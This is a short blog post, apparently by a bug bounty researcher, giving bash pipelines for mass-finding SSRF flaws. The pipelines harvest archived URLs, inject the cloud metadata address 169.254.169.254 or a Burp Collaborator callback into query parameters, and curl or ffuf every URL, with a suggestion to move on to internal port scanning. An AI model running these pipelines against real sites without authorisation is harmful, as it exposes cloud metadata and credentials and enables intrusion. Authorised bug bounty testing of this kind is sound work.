Santosh Kumar Sha

Follow 50 Followers About

Finding SSRF BY Full Automation

Santosh Kumar Sha Jan 27 · 2 min read

Hi, everyone

My name is Santosh Kumar Sha, I'm a security researcher from India(Assam). In this article, I will be describing how I was able to Find ssrf vulnerability by bu automating it and leak private information amazon metadata, ec2 and cloud services.

TIP For looking for SSRF bug with automation:

Tools Requried:

1. gf (tomnomnom) — https://github.com/tomnomnom/gf
2. qsreplace(tomnomnom) — https://github.com/tomnomnom/qsreplace
3. ffuf — https://github.com/ffuf/ffuf
4. gau(Corben) — https://github.com/lc/gau
5. waybackurls(tomnomnom) — https://github.com/tomnomnom/waybackurls

Case#21 — — Accessing SSRF metadata with automation by just using curl and bash

Here get access to internal metadata by ssrf we will collect all URL from way-back machine and look for access the internal data by ssrf

Suppose the the target is targetme.com

Now here process the process for find the ssrf to access internal metadata

Command for getting the URL:

waybackurl targetme.com >> blindssrftesturl.txt

gau -subs targetme.com >> blindssrftesturl.txt

cat blindssrftesturl.txt | sort -u |anew | httpx | qsreplace 'http://169.254.169.254/latest/meta-data/hostname' | xargs -I % -P 25 sh -c 'curl -ks "%" 2>&1 | grep "compute.internal" && echo "SSRF VULN! %"'

ohhh….yeah…….

Case#2 — — Find Blind SSRF with automation by just using curl and bash

Now in order to look for blind ssrf we need to get all the URL for testing the blind ssrf we can get URL from way-back machine.

Suppose the the target is targetme.com

Now here process the process for find the Blind ssrf

Command for getting the URL:

waybackurl targetme.com >> blindssrftesturl.txt

gau -subs targetme.com >> blindssrftesturl.txt

After Getting all URLS we will sort all the URL and resolve it remove false positive:

cat blindssrftesturl.txt | sort -u |anew | httpx |tee -a prefinal_ssrftesturl.txt

Now we will used gf for extracting all URL which have parameter vulnerable for ssrf:

cat prefinal_ssrftesturl.txt | gf ssrf >> final_ssrftesturl.txt

Finally we will used FFUF and burp collabrator server or you can use pingb.in for automating it:

cat final_ssrftesturl.txt |qsreplace “Burp collaborator server” >> ssrf_auto-ffuf.txt

ffuf -c -w ssrf_auto-ffuf.txt -u FUZZ

Then check for any dns pingback hit you burp collaborator server.

IF you get any ping back and go for internal port scanning.

ohhh….yeah…….

Takeaway

I’m sure that a lot of security researcher had already see there process but this how I approach for find ssrf , and i have reported many in HackerOne using this process, .I hope this will help to find more ssrf

That’s one of the reasons why I wanted to share my experience. also to highlight other techniques to exploit such vulnerability.

Bug Bounty Bugcrowd Hacking Hackerone